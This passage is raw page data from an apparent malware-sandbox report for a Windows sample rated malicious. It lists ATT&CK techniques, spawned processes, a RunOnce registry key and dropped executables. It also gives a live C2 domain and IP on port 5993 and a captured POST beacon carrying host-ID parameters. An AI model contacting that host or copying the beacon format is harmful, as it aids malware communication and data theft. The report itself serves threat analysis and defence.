string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads system mouse configuration"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains references to file movement (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains references to the retrieval of internet session handle (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"suspicious","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"malicious","value":"Upload file using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\" \"tag=3d109f3b7b06d4f3c6e8f03cbedefc55&hwid=2e0514d769be85f591ef0d9d7eeb6f4d\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":57,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":4,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["wacatac"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69ecd9322c2d5dfe6906b78e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin","analysis_start_time":"2026-04-25T15:09:39+00:00","indicators_count":{"informative":208,"suspicious":32,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"64.23.144.106","port":5993,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"dns_resolutions":[{"domain":"TkFBQOhJpKepPW.TkFBQOhJpKepPW","ttl":86399,"country":"-","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"domain":"cratmr.lol","address":"64.23.144.106","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"http_requests":[{"host":"cratmr.lol:5993","host_ip":"64.23.144.106:5993","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36\nContent-Length: 45\nHost: cratmr.lol:5993","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}],"processes":[{"pid":7020,"ppid":0,"name":"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin.exe","command_line":"","sha256":"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f","normalized_path":"C:\\448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin.exe","uid":"00000000-00007020","icon":"$56"},{"pid":4104,"ppid":7020,"name":"Bras.exe","command_line":"Conjunction","sha256":"5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7","normalized_path":"%TEMP%\\IXP000.TMP\\Bras.exe","parent_uid":"00000000-00007020","uid":"00000000-00004104"},{"pid":8044,"ppid":4104,"name":"Bras.exe","command_line":"","sha256":"5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7","normalized_path":"%TEMP%\\IXP000.TMP\\Bras.exe","parent_uid":"00000000-00004104","uid":"00000000-00008044"}],"all_imported_dlls":["sechost.dll","rpcrt4.dll","imm32.dll","wsock32.dll","KernelBase.dll","winmm.dll","IPHLPAPI.DLL","windows.storage.dll","mswsock.dll","cabinet.dll","feclient.dll","SHCore.dll","ntdll.dll","win32u.dll","comctl32.dll","VxSSL64.dll","ws2_32.dll","winrnr.dll","gdi32full.dll","ucrtbase.dll","user32.dll","version.dll","dwmapi.dll","nlaapi.dll","kernel32.dll","cfgmgr32.dll","comdlg32.dll","shell32.dll","NapiNSP.dll","dnsapi.dll","oleaut32.dll","setupapi.dll","apphelp.dll","userenv.dll","msvcp_win.dll","combase.dll","cryptsp.dll","psapi.dll","wininet.dll","msvcrt.dll","ole32.dll","winmmbase.dll","pnrpnsp.dll","mpr.dll","kernel.appcore.dll","nsi.dll","fltLib.dll","rasadhlp.dll","advapi32.dll","bcryptprimitives.dll","shlwapi.dll","gdi32.dll","uxtheme.dll","msctf.dll","advpack.dll","profapi.dll","powrprof.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Bras.exe","sha256":"5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"name":"Conjunction","sha256":"677f30cddb6e09b9c874ded7b0c0165cf578b336a565f40f0cd15ceeabbfd783","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"path":"%TEMP%\\IXP000.TMP\\Conjunction","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"path":"%TEMP%\\IXP000.TMP\\Bras.exe","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["69ecd9322c2d5dfe6906b78e"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample 448d4144c698… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 448d4144c698…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 1/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample 448d4144c698… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 448d4144c698…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 1/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample 448d4144c698… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 448d4144c698…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 1/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L57","11",{}]]